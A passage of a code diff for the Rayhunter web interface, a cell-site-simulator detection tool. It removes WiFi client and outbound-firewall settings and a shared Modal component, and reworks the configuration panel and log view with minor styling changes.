-    let scanning = $state(false);
-    let scanResults = $state<WifiNetwork[]>([]);
-    let dnsServersInput = $state('');
+    let showConfig = $state(false);

    async function load_config() {
        try {
            loading = true;
            config = await get_config();
-            dnsServersInput = config.dns_servers ? config.dns_servers.join(', ') : '';
            message = '';
            messageType = null;
-            poll_wifi_status();
        } catch (error) {
            message = `Failed to load config: ${error}`;
            messageType = 'error';
@@ -46,15 +29,6 @@
    async function save_config() {
        if (!config) return;

-        const trimmed = dnsServersInput.trim();
-        config.dns_servers =
-            trimmed.length > 0
-                ? trimmed
-                      .split(',')
-                      .map((s) => s.trim())
-                      .filter((s) => s.length > 0)
-                : null;
-
        try {
            saving = true;
            await set_config(config);
@@ -69,49 +43,6 @@
        }
    }

-    async function poll_wifi_status() {
-        if (wifiStatusTimer) clearInterval(wifiStatusTimer);
-        try {
-            wifiStatus = await get_wifi_status();
-        } catch {
-            wifiStatus = null;
-        }
-        wifiStatusTimer = setInterval(async () => {
-            try {
-                wifiStatus = await get_wifi_status();
-            } catch {
-                wifiStatus = null;
-            }
-        }, 5000);
-    }
-
-    let scanError = $state('');
-
-    async function do_scan() {
-        scanning = true;
-        scanError = '';
-        try {
-            scanResults = await scan_wifi_networks();
-        } catch (error) {
-            scanResults = [];
-            scanError = `Scan failed: ${error}`;
-        } finally {
-            scanning = false;
-        }
-    }
-
-    function select_network(network: WifiNetwork) {
-        if (config) {
-            config.wifi_ssid = network.ssid;
-            config.wifi_password = '';
-            config.wifi_security =
-                network.security === 'WPA3' || network.security === 'WPA3 (transition)'
-                    ? 'sae'
-                    : 'wpa_psk';
-            scanResults = [];
-        }
-    }
-
    async function send_test_notification() {
        try {
            testingNotification = true;
@@ -129,24 +60,30 @@
    }

    $effect(() => {
-        if (shown && !config) {
+        if (showConfig && !config) {
            load_config();
        }
-        if (!shown && wifiStatusTimer) {
-            clearInterval(wifiStatusTimer);
-            wifiStatusTimer = null;
-        }
-        return () => {
-            if (wifiStatusTimer) {
-                clearInterval(wifiStatusTimer);
-                wifiStatusTimer = null;
-            }
-        };
    });
 </script>

-<Modal bind:shown title="Configuration">
-    <div class="p-2">
+<div class="bg-white rounded-lg shadow-md p-6 m-4">
+    <button
+        class="w-full flex justify-between items-center text-xl font-bold mb-4 text-rayhunter-dark-blue hover:text-rayhunter-blue"
+        onclick={() => (showConfig = !showConfig)}
+    >
+        <span>Configuration</span>
+        <svg
+            class="w-6 h-6 transition-transform {showConfig ? 'rotate-180' : ''}"
+            fill="none"
+            stroke="currentColor"
+            viewBox="0 0 24 24"
+        >
+            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 9l-7 7-7-7"
+            ></path>
+        </svg>
+    </button>
+
+    {#if showConfig}
        {#if loading}
            <div class="text-center py-4">Loading config...</div>
        {:else if config}
@@ -164,7 +101,7 @@
                    <select
                        id="ui_level"
                        bind:value={config.ui_level}
-                        class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
+                        class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
                    >
                        <option value={0}>0 - Invisible mode</option>
                        <option value={1}>1 - Subtle mode (colored line)</option>
@@ -188,10 +125,11 @@
                    <select
                        id="key_input_mode"
                        bind:value={config.key_input_mode}
-                        class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
+                        class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
                    >
                        <option value={0}>0 - Disable button control</option>
-                        <option value={1}>1 - Double-tap power button to start new recording</option
+                        <option value={1}
+                            >1 - Double-tap power button to start/stop recording</option
                        >
                    </select>
                </div>
@@ -202,7 +140,7 @@
                            id="colorblind_mode"
                            type="checkbox"
                            bind:checked={config.colorblind_mode}
-                            class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
+                            class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
                        />
                        <label for="colorblind_mode" class="ml-2 block text-sm text-gray-700">
                            Colorblind Mode
@@ -210,7 +148,7 @@
                    </div>
                </div>

-                <div class="border-t border-gray-200 pt-4 mt-6 space-y-3">
+                <div class="border-t pt-4 mt-6 space-y-3">
                    <h3 class="text-lg font-semibold text-gray-800 mb-4">Notification Settings</h3>
                    <div>
                        <label for="ntfy_url" class="block text-sm font-medium text-gray-700 mb-1">
@@ -221,7 +159,7 @@
                            id="ntfy_url"
                            type="url"
                            bind:value={config.ntfy_url}
-                            class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
+                            class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
                        />
                        <p class="text-xs text-gray-500 mt-1">
                            Test button below uses the saved configuration URL, not the input above
@@ -259,7 +197,7 @@
                        </button>
                        {#if testMessage}
                            <div
-                                class="mt-2 p-2 rounded-sm text-sm {testMessageType === 'error'
+                                class="mt-2 p-2 rounded text-sm {testMessageType === 'error'
                                    ? 'bg-red-100 text-red-700'
                                    : 'bg-green-100 text-green-700'}"
                            >
@@ -303,7 +241,7 @@
                    </div>
                </div>

-                <div class="border-t border-gray-200 pt-4 mt-6 space-y-3">
+                <div class="border-t pt-4 mt-6 space-y-3">
                    <h3 class="text-lg font-semibold text-gray-800 mb-4">Storage Management</h3>

                    <div>
@@ -318,7 +256,7 @@
                            type="number"
                            min="1"
                            bind:value={config.min_space_to_start_recording_mb}
-                            class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
+                            class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
                        />
                        <p class="text-xs text-gray-500 mt-1">
                            Recording will not start if less than this amount of disk space is free
@@ -337,7 +275,7 @@
                            type="number"
                            min="1"
                            bind:value={config.min_space_to_continue_recording_mb}
-                            class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
+                            class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-rayhunter-blue"
                        />
                        <p class="text-xs text-gray-500 mt-1">
                            Recording will stop automatically if disk space drops below this level
@@ -345,219 +283,7 @@
                    </div>
                </div>

-                {#if config.device === 'orbic' || config.device === 'moxee' || config.device === 'tmobile' || config.device === 'wingtech'}
-                    <div class="border-t border-gray-200 pt-4 mt-6 space-y-3">
-                        <h3 class="text-lg font-semibold text-gray-800 mb-4">WiFi Client Mode</h3>
-                        <p class="text-xs text-gray-500">
-                            Connect the device to an existing WiFi network for internet access (e.g.
-                            notifications, remote access). The hotspot AP stays running alongside
-                            WiFi client mode.
-                        </p>
-
-                        <div class="flex items-center">
-                            <input
-                                id="wifi_enabled"
-                                type="checkbox"
-                                bind:checked={config.wifi_enabled}
-                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
-                            />
-                            <label for="wifi_enabled" class="ml-2 block text-sm text-gray-700">
-                                Enable WiFi
-                            </label>
-                        </div>
-                        <p class="text-xs text-gray-500">
-                            Unchecking stops WiFi without clearing saved credentials.
-                        </p>
-
-                        {#if wifiStatus && config.wifi_enabled}
-                            {#if wifiStatus.state === 'connected'}
-                                <p class="text-xs text-green-600">
-                                    Connected to "{wifiStatus.ssid}" ({wifiStatus.ip})
-                                </p>
-                            {:else if wifiStatus.state === 'connecting'}
-                                <p class="text-xs text-amber-600">Connecting...</p>
-                            {:else if wifiStatus.state === 'recovering'}
-                                <p class="text-xs text-amber-600">Recovering connection...</p>
-                            {:else if wifiStatus.state === 'dataPathDead'}
-                                <p class="text-xs text-amber-600">
-                                    Data path stalled, attempting recovery...
-                                </p>
-                            {:else if wifiStatus.state === 'failed'}
-                                <p class="text-xs text-red-600">
-                                    Failed: {wifiStatus.error}
-                                </p>
-                            {/if}
-                        {/if}
-
-                        <div>
-                            <label
-                                for="wifi_ssid"
-                                class="block text-sm font-medium text-gray-700 mb-1"
-                            >
-                                WiFi Network Name (SSID)
-                            </label>
-                            <div class="flex gap-2">
-                                <input
-                                    id="wifi_ssid"
-                                    type="text"
-                                    bind:value={config.wifi_ssid}
-                                    placeholder="MyWiFiNetwork"
-                                    class="flex-1 px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
-                                />
-                                <button
-                                    type="button"
-                                    onclick={do_scan}
-                                    disabled={scanning}
-                                    class="px-3 py-2 text-sm bg-gray-100 hover:bg-gray-200 disabled:opacity-50 border border-gray-300 rounded-md"
-                                >
-                                    {scanning ? 'Scanning...' : 'Scan'}
-                                </button>
-                            </div>
-                        </div>
-
-                        {#if scanError}
-                            <p class="text-xs text-red-600">{scanError}</p>
-                        {/if}
-
-                        {#if scanResults.length > 0}
-                            <div
-                                class="border border-gray-200 rounded-md max-h-40 overflow-y-auto divide-y divide-gray-200"
-                            >
-                                {#each scanResults as network}
-                                    <button
-                                        type="button"
-                                        class="w-full px-3 py-2 text-left text-sm hover:bg-gray-50 flex justify-between"
-                                        onclick={() => select_network(network)}
-                                    >
-                                        <span>{network.ssid}</span>
-                                        <span class="text-gray-400"
-                                            >{network.signal_dbm} dBm &middot; {network.security}</span
-                                        >
-                                    </button>
-                                {/each}
-                            </div>
-                        {/if}
-
-                        {#if config.wifi_ssid}
-                            <div>
-                                <label
-                                    for="wifi_security"
-                                    class="block text-sm font-medium text-gray-700 mb-1"
-                                >
-                                    Security Type
-                                </label>
-                                <select
-                                    id="wifi_security"
-                                    bind:value={config.wifi_security}
-                                    class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
-                                >
-                                    <option value="wpa_psk">WPA2 (WPA-PSK)</option>
-                                    <option value="sae">WPA3 (SAE)</option>
-                                </select>
-                            </div>
-                        {/if}
-
-                        <div>
-                            <label
-                                for="wifi_password"
-                                class="block text-sm font-medium text-gray-700 mb-1"
-                            >
-                                WiFi Password
-                            </label>
-                            <input
-                                id="wifi_password"
-                                type="password"
-                                bind:value={config.wifi_password}
-                                placeholder="Enter password"
-                                class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
-                            />
-                            <p class="text-xs text-gray-500 mt-1">
-                                Changing the network requires re-entering the password.
-                            </p>
-                        </div>
-
-                        {#if config.wifi_ssid}
-                            <div>
-                                <label
-                                    for="dns_servers"
-                                    class="block text-sm font-medium text-gray-700 mb-1"
-                                >
-                                    DNS Servers
-                                </label>
-                                <input
-                                    id="dns_servers"
-                                    type="text"
-                                    bind:value={dnsServersInput}
-                                    placeholder="9.9.9.9, 149.112.112.112"
-                                    class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
-                                />
-                                <p class="text-xs text-gray-500 mt-1">
-                                    Comma-separated. Used when WiFi is active. Defaults to 9.9.9.9,
-                                    149.112.112.112 (Quad9).
-                                </p>
-                            </div>
-                        {/if}
-                    </div>
-                {/if}
-
-                <div class="border-t border-gray-200 pt-4 mt-6 space-y-3">
-                    <h3 class="text-lg font-semibold text-gray-800 mb-4">Device Security</h3>
-
-                    <div class="flex items-center">
-                        <input
-                            id="firewall_restrict_outbound"
-                            type="checkbox"
-                            bind:checked={config.firewall_restrict_outbound}
-                            class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
-                        />
-                        <label
-                            for="firewall_restrict_outbound"
-                            class="ml-2 block text-sm text-gray-700"
-                        >
-                            Restrict outbound traffic
-                        </label>
-                    </div>
-                    <p class="text-xs text-gray-500">
-                        Only allows DNS, DHCP, and HTTPS (port 443) outbound. Blocks all other
-                        outbound connections on every interface (WiFi and cellular). Loopback and
-                        hotspot traffic are always allowed. Changes take effect immediately.
-                    </p>
-
-                    {#if config.firewall_restrict_outbound}
-                        <div>
-                            <label
-                                for="firewall_allowed_ports"
-                                class="block text-sm font-medium text-gray-700 mb-1"
-                            >
-                                Additional Allowed Ports
-                            </label>
-                            <input
-                                id="firewall_allowed_ports"
-                                type="text"
-                                value={config.firewall_allowed_ports
-                                    ? config.firewall_allowed_ports.join(', ')
-                                    : ''}
-                                oninput={(e) => {
-                                    const val = (e.target as HTMLInputElement).value.trim();
-                                    config!.firewall_allowed_ports =
-                                        val.length > 0
-                                            ? val
-                                                  .split(',')
-                                                  .map((s) => parseInt(s.trim()))
-                                                  .filter((n) => !isNaN(n) && n >= 1 && n <= 65535)
-                                            : null;
-                                }}
-                                placeholder="22, 80"
-                                class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-hidden focus:ring-2 focus:ring-rayhunter-blue"
-                            />
-                            <p class="text-xs text-gray-500 mt-1">
-                                Comma-separated TCP ports, e.g. 22, 80
-                            </p>
-                        </div>
-                    {/if}
-                </div>
-
-                <div class="border-t border-gray-200 pt-4 mt-6">
+                <div class="border-t pt-4 mt-6">
                    <h3 class="text-lg font-semibold text-gray-800 mb-4">
                        Analyzer Heuristic Settings
                    </h3>
@@ -567,7 +293,7 @@
                                id="imsi_requested"
                                type="checkbox"
                                bind:checked={config.analyzers.imsi_requested}
-                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
+                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
                            />
                            <label for="imsi_requested" class="ml-2 block text-sm text-gray-700">
                                IMSI Requested Heuristic
@@ -579,7 +305,7 @@
                                id="connection_redirect_2g_downgrade"
                                type="checkbox"
                                bind:checked={config.analyzers.connection_redirect_2g_downgrade}
-                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
+                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
                            />
                            <label
                                for="connection_redirect_2g_downgrade"
@@ -594,7 +320,7 @@
                                id="lte_sib6_and_7_downgrade"
                                type="checkbox"
                                bind:checked={config.analyzers.lte_sib6_and_7_downgrade}
-                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
+                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
                            />
                            <label
                                for="lte_sib6_and_7_downgrade"
@@ -609,7 +335,7 @@
                                id="null_cipher"
                                type="checkbox"
                                bind:checked={config.analyzers.null_cipher}
-                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
+                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
                            />
                            <label for="null_cipher" class="ml-2 block text-sm text-gray-700">
                                Null Cipher Heuristic
@@ -621,7 +347,7 @@
                                id="nas_null_cipher"
                                type="checkbox"
                                bind:checked={config.analyzers.nas_null_cipher}
-                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
+                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
                            />
                            <label for="nas_null_cipher" class="ml-2 block text-sm text-gray-700">
                                NAS Null Cipher Heuristic
@@ -633,7 +359,7 @@
                                id="incomplete_sib"
                                type="checkbox"
                                bind:checked={config.analyzers.incomplete_sib}
-                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
+                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
                            />
                            <label for="incomplete_sib" class="ml-2 block text-sm text-gray-700">
                                Incomplete SIB Heuristic
@@ -645,7 +371,7 @@
                                id="test_analyzer"
                                type="checkbox"
                                bind:checked={config.analyzers.test_analyzer}
-                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
+                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
                            />
                            <label for="test_analyzer" class="ml-2 block text-sm text-gray-700">
                                Test Heuristic (noisy!)
@@ -656,7 +382,7 @@
                                id="diagnostic_analyzer"
                                type="checkbox"
                                bind:checked={config.analyzers.diagnostic_analyzer}
-                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded-sm"
+                                class="h-4 w-4 text-rayhunter-blue focus:ring-rayhunter-blue border-gray-300 rounded"
                            />
                            <label
                                for="diagnostic_analyzer"
@@ -700,7 +426,7 @@
            </form>
            {#if message}
                <div
-                    class="mt-4 p-3 rounded-sm {messageType === 'error'
+                    class="mt-4 p-3 rounded {messageType === 'error'
                        ? 'bg-red-100 text-red-700'
                        : 'bg-green-100 text-green-700'}"
                >
@@ -712,5 +438,5 @@
                Failed to load configuration. Please try reloading the page.
            </div>
        {/if}
-    </div>
-</Modal>
+    {/if}
+</div>
--- a/daemon/web/src/lib/components/DeleteAllButton.svelte
+++ b/daemon/web/src/lib/components/DeleteAllButton.svelte
@@ -5,8 +5,8 @@
 <div class="flex flex-row justify-end gap-2">
    <DeleteButton
        text="Delete ALL Recordings"
-        prompt="Are you sure you want to delete ALL recordings?"
-        url="/api/delete-all-recordings"
+        prompt={`Are you sure you want to delete ALL recordings?`}
+        url={`/api/delete-all-recordings`}
        name="all recodings"
    />
 </div>
--- a/daemon/web/src/lib/components/LogView.svelte
+++ b/daemon/web/src/lib/components/LogView.svelte
@@ -1,13 +1,34 @@
 <script lang="ts">
    import { get_logs } from '$lib/utils.svelte';
-    import Modal from './Modal.svelte';
+    import { onMount } from 'svelte';

    let { shown = $bindable() }: { shown: boolean } = $props();
    let content: string | undefined = $state(undefined);

+    onMount(() => {
+        // Used by LogView modal
+        window.addEventListener('scroll', () => {
+            document.documentElement.style.setProperty('--scroll-y', `${window.scrollY}px`);
+        });
+    });
+
    $effect(() => {
+        if (shown) {
+            const scrollY = document.documentElement.style.getPropertyValue('--scroll-y');
+            const body = document.body;
+            body.style.position = 'fixed';
+            body.style.top = `-${scrollY}`;
+        } else {
+            const body = document.body;
+            const scrollY = body.style.top;
+            body.style.position = '';
+            body.style.top = '';
+            window.scrollTo(0, parseInt(scrollY || '0') * -1);
+        }
+
        const interval = setInterval(async () => {
            try {
+                // Don't update UI if browser tab isn't visible
                if (content !== undefined && (document.hidden || !shown)) {
                    return;
                }
@@ -21,8 +42,33 @@
    });
 </script>

-<Modal bind:shown title="Logs">
-    <div class="bg-gray-100 border border-gray-100 rounded-md overflow-scroll">
-        <pre class="m-2">{content}</pre>
+{#if shown}
+    <div
+        class="fixed left-5 right-5 top-5 bottom-5 z-50 bg-white border border-white rounded-md
+		flex flex-col p-2 drop-shadow"
+    >
+        <div class="flex h-20 justify-between items-center p-1">
+            <span class="text-2xl mb-2">Log</span>
+            <button onclick={() => (shown = false)} aria-label="close">
+                <svg
+                    xmlns="http://www.w3.org/2000/svg"
+                    aria-hidden="true"
+                    width="24"
+                    height="24"
+                    fill="currentColor"
+                    viewBox="0 0 24 24"
+                >
+                    <path
+                        fill-rule="evenodd"
+                        clip-rule="evenodd"
+                        d="M5.29289 5.29289C5.68342 4.90237 6.31658 4.90237 6.70711 5.29289L12 10.5858L17.2929 5.29289C17.6834 4.90237 18.3166 4.90237 18.7071 5.29289C19.0976 5.68342 19.0976 6.31658 18.7071 6.70711L13.4142 12L18.7071 17.2929C19.0976 17.6834 19.0976 18.3166 18.7071 18.7071C18.3166 19.0976 17.6834 19.0976 17.2929 18.7071L12 13.4142L6.70711 18.7071C6.31658 19.0976 5.68342 19.0976 5.29289 18.7071C4.90237 18.3166 4.90237 17.6834 5.29289 17.2929L10.5858 12L5.29289 6.70711C4.90237 6.31658 4.90237 5.68342 5.29289 5.29289Z"
+                        fill="#0F1729"
+                    />
+                </svg>
+            </button>
+        </div>
+        <div class="bg-gray-100 border border-gray-100 rounded-md overflow-scroll">
+            <pre class="m-2">{content}</pre>
+        </div>
    </div>
-</Modal>
+{/if}
--- a/daemon/web/src/lib/components/ManifestCard.svelte
+++ b/daemon/web/src/lib/components/ManifestCard.svelte
@@ -44,7 +44,7 @@
 </script>

 <div
-    class="{status_row_color} {status_border_color} drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-auto overflow-y-hidden"
+    class="{status_row_color} {status_border_color} drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 overflow-x-auto overflow-y-hidden"
 >
    {#if current}
        <div class="flex flex-row justify-between gap-2">
@@ -82,7 +82,7 @@
        >
    </div>
    {#if entry.stop_reason}
-        <div class="bg-yellow-50 border border-yellow-300 rounded-sm p-2 text-yellow-800 text-sm">
+        <div class="bg-yellow-50 border border-yellow-300 rounded p-2 text-yellow-800 text-sm">
            {entry.stop_reason}
        </div>
    {/if}
@@ -100,7 +100,7 @@
            />
        {/if}
    </div>
-    <div class="border-b border-gray-200 {analysis_visible ? '' : 'hidden'}">
+    <div class="border-b {analysis_visible ? '' : 'hidden'}">
        <AnalysisView {entry} {manager} {current} />
    </div>
 </div>
--- a/daemon/web/src/lib/components/ManifestTable.svelte
+++ b/daemon/web/src/lib/components/ManifestTable.svelte
@@ -16,7 +16,7 @@
 {#if $screenIsLgUp}
    <table class="table-auto text-left table">
        <thead>
-            <tr class="bg-gray-100 drop-shadow-sm">
+            <tr class="bg-gray-100 drop-shadow">
                <th class="p-2" scope="col">ID</th>
                <th class="p-2" scope="col">Started</th>
                <th class="p-2" scope="col">Last Message</th>
--- a/daemon/web/src/lib/components/ManifestTableRow.svelte
+++ b/daemon/web/src/lib/components/ManifestTableRow.svelte
@@ -36,7 +36,7 @@
    }
 </script>

-<tr class="{status_row_color} drop-shadow-sm">
+<tr class="{status_row_color} drop-shadow">
    <td class="p-2">{entry.name}</td>
    <td class="p-2">{date_formatter.format(entry.start_time)}</td>
    <td class="p-2"
@@ -65,8 +65,8 @@
        </td>
    {/if}
 </tr>
-<tr class="{alternating_row_color} border-b border-gray-200 {analysis_visible ? '' : 'hidden'}">
-    <td class="border-t border-gray-200 border-dashed p-2" colspan="9">
+<tr class="{alternating_row_color} border-b {analysis_visible ? '' : 'hidden'}">
+    <td class="border-t border-dashed p-2" colspan="9">
        <AnalysisView {entry} {manager} {current} />
    </td>
 </tr>
--- a/daemon/web/src/lib/components/Modal.svelte
+++ b/daemon/web/src/lib/components/Modal.svelte
@@ -1,64 +0,0 @@
-<script lang="ts">
-    import type { Snippet } from 'svelte';
-    import { onMount } from 'svelte';
-
-    let {
-        shown = $bindable(),
-        title,
-        children,
-    }: { shown: boolean; title: string; children: Snippet } = $props();
-
-    onMount(() => {
-        const handler = () => {
-            document.documentElement.style.setProperty('--scroll-y', `${window.scrollY}px`);
-        };
-        window.addEventListener('scroll', handler);
-        return () => window.removeEventListener('scroll', handler);
-    });
-
-    $effect(() => {
-        if (shown) {
-            const scrollY = document.documentElement.style.getPropertyValue('--scroll-y');
-            const body = document.body;
-            body.style.position = 'fixed';
-            body.style.top = `-${scrollY}`;
-        } else {
-            const body = document.body;
-            const scrollY = body.style.top;
-            body.style.position = '';
-            body.style.top = '';
-            window.scrollTo(0, parseInt(scrollY || '0') * -1);
-        }
-    });
-</script>
-
-{#if shown}
-    <div
-        class="fixed left-5 right-5 top-5 bottom-5 z-50 bg-white border border-white rounded-md
-		flex flex-col p-2 drop-shadow-sm"
-    >
-        <div class="flex justify-between items-center p-1">
-            <span class="text-2xl">{title}</span>
-            <button onclick={() => (shown = false)} aria-label="close">
-                <svg
-                    xmlns="http://www.w3.org/2000/svg"
-                    aria-hidden="true"
-                    width="24"
-                    height="24"
-                    fill="currentColor"
-                    viewBox="0 0 24 24"
-                >
-                    <path
-                        fill-rule="evenodd"
-                        clip-rule="evenodd"
-                        d="M5.29289 5.29289C5.68342 4.90237 6.31658 4.90237 6.70711 5.29289L12 10.5858L17.2929 5.29289C17.6834 4.90237 18.3166 4.90237 18.7071 5.29289C19.0976 5.68342 19.0976 6.31658 18.7071 6.70711L13.4142 12L18.7071 17.2929C19.0976 17.6834 19.0976 18.3166 18.7071 18.7071C18.3166 19.0976 17.6834 19.0976 17.2929 18.7071L12 13.4142L6.70711 18.7071C6.31658 19.0976 5.68342 19.0976 5.29289 18.7071C4.90237 18.3166 4.90237 17.6834 5.29289 17.2929L10.5858 12L5.29289 6.70711C4.90237 6.31658 4.90237 5.68342 5.29289 5.29289Z"
-                        fill="#0F1729"
-                    />
-                </svg>
-            </button>
-        </div>
-        <div class="overflow-y-auto flex-1">
-            {@render children()}
-        </div>
-    </div>
-{/if}
--- a/daemon/web/src/lib/components/SystemStatsTable.svelte
+++ b/daemon/web/src/lib/components/SystemStatsTable.svelte
@@ -6,7 +6,7 @@
        stats: SystemStats;
    } = $props();

-    const table_cell_classes = 'border border-gray-200 p-1 lg:p-2';
+    const table_cell_classes = 'border p-1 lg:p-2';

    let battery_level = $derived(stats.battery_status ? stats.battery_status.level : 0);
    let bar_color = $derived.by(() => {
@@ -36,29 +36,29 @@
 </script>

 <div
-    class="flex-1 drop-shadow-sm p-4 flex flex-col gap-2 border rounded-md bg-gray-100 border-gray-100"
+    class="flex-1 drop-shadow p-4 flex flex-col gap-2 border rounded-md bg-gray-100 border-gray-100"
 >
    <p class="text-xl mb-2">System Information</p>
-    <table class="table-auto border border-gray-200">
+    <table class="table-auto border">
        <tbody>
-            <tr class="border border-gray-200">
+            <tr class="border">
                <th class={table_cell_classes}> Rayhunter Version </th>
                <td class={table_cell_classes}>{stats.runtime_metadata.rayhunter_version}</td>
            </tr>
-            <tr class="border border-gray-200">
+            <tr class="border">
                <th class={table_cell_classes}> Storage </th>
                <td class={table_cell_classes}>
                    {stats.disk_stats.used_percent} used ({stats.disk_stats.used_size} used / {stats
                        .disk_stats.available_size} available)
                </td>
            </tr>
-            <tr class="border-b border-gray-200">
+            <tr class="border-b">
                <th class={table_cell_classes}> Memory (RAM) </th>
                <td class={table_cell_classes}>
                    Free: {stats.memory_stats.free}, Used: {stats.memory_stats.used}
                </td>
            </tr>
-            <tr class="border-b border-gray-200">
+            <tr class="border-b">
                <th class={table_cell_classes}> Battery </th>
                <td class={table_cell_classes}>
                    <svg
--- a/daemon/web/src/lib/ndjson.ts
+++ b/daemon/web/src/lib/ndjson.ts
@@ -19,9 +19,7 @@ export function parse_ndjson(input: string): NewlineDeliminatedJson {
            // however, if we've reached the end of the input, that means we
            // were given invalid nd-json
            if (lines.length === 0) {
-                throw new Error(`unable to parse invalid nd-json: ${e}, "${current_line}"`, {
-                    cause: e,
-                });
+                throw new Error(`unable to parse invalid nd-json: ${e}, "${current_line}"`);
            }
        }
    }
--- a/daemon/web/src/lib/utils.svelte.ts
+++ b/daemon/web/src/lib/utils.svelte.ts
@@ -19,7 +19,6 @@ export enum enabled_notifications {
 }

 export interface Config {
-    device: string;
    ui_level: number;
    colorblind_mode: boolean;
    key_input_mode: number;
@@ -28,34 +27,6 @@ export interface Config {
    analyzers: AnalyzerConfig;
    min_space_to_start_recording_mb: number;
    min_space_to_continue_recording_mb: number;
-    wifi_ssid: string | null;
-    wifi_password: string | null;
-    wifi_security: 'wpa_psk' | 'sae' | null;
-    wifi_enabled: boolean;
-    dns_servers: string[] | null;
-    firewall_restrict_outbound: boolean;
-    firewall_allowed_ports: number[] | null;
-}
-
-export interface WifiStatus {
-    state: string;
-    ssid?: string;
-    ip?: string;
-    error?: string;
-}
-
-export interface WifiNetwork {
-    ssid: string;
-    signal_dbm: number;
-    security: string;
-}
-
-export async function get_wifi_status(): Promise<WifiStatus> {
-    return JSON.parse(await req('GET', '/api/wifi-status'));
-}
-
-export async function scan_wifi_networks(): Promise<WifiNetwork[]> {
-    return JSON.parse(await req('POST', '/api/wifi-scan'));
 }

 export async function req(method: string, url: string, json_body?: unknown): Promise<string> {
--- a/daemon/web/src/routes/+page.svelte
+++ b/daemon/web/src/routes/+page.svelte
@@ -21,7 +21,6 @@
    let system_stats: SystemStats | undefined = $state(undefined);
    let update_error: string | undefined = $state(undefined);
    let logview_shown: boolean = $state(false);
-    let config_shown: boolean = $state(false);
    $effect(() => {
        const interval = setInterval(async () => {
            try {
@@ -56,10 +55,7 @@
 </script>

 <LogView bind:shown={logview_shown} />
-<ConfigForm bind:shown={config_shown} />
-<div
-    class="p-4 xl:px-8 bg-rayhunter-blue drop-shadow-sm flex flex-row justify-between items-center"
->
+<div class="p-4 xl:px-8 bg-rayhunter-blue drop-shadow flex flex-row justify-between items-center">
    <!-- https://www.w3.org/WAI/tutorials/images/decorative/ -->
    <img src="/rayhunter_text.png" alt="" class="h-10 xl:h-12" />
    <div class="flex flex-row gap-4">
@@ -107,33 +103,6 @@
                />
            </svg>
        </button>
-        <button onclick={() => (config_shown = true)} class="flex flex-row gap-1 group">
-            <span class="hidden text-white group-hover:text-gray-400 lg:flex">Config</span>
-            <svg
-                class="w-6 h-6 text-white group-hover:text-gray-400"
-                aria-hidden="true"
-                xmlns="http://www.w3.org/2000/svg"
-                width="24"
-                height="24"
-                fill="none"
-                viewBox="0 0 24 24"
-            >
-                <path
-                    stroke="currentColor"
-                    stroke-linecap="round"
-                    stroke-linejoin="round"
-                    stroke-width="2"
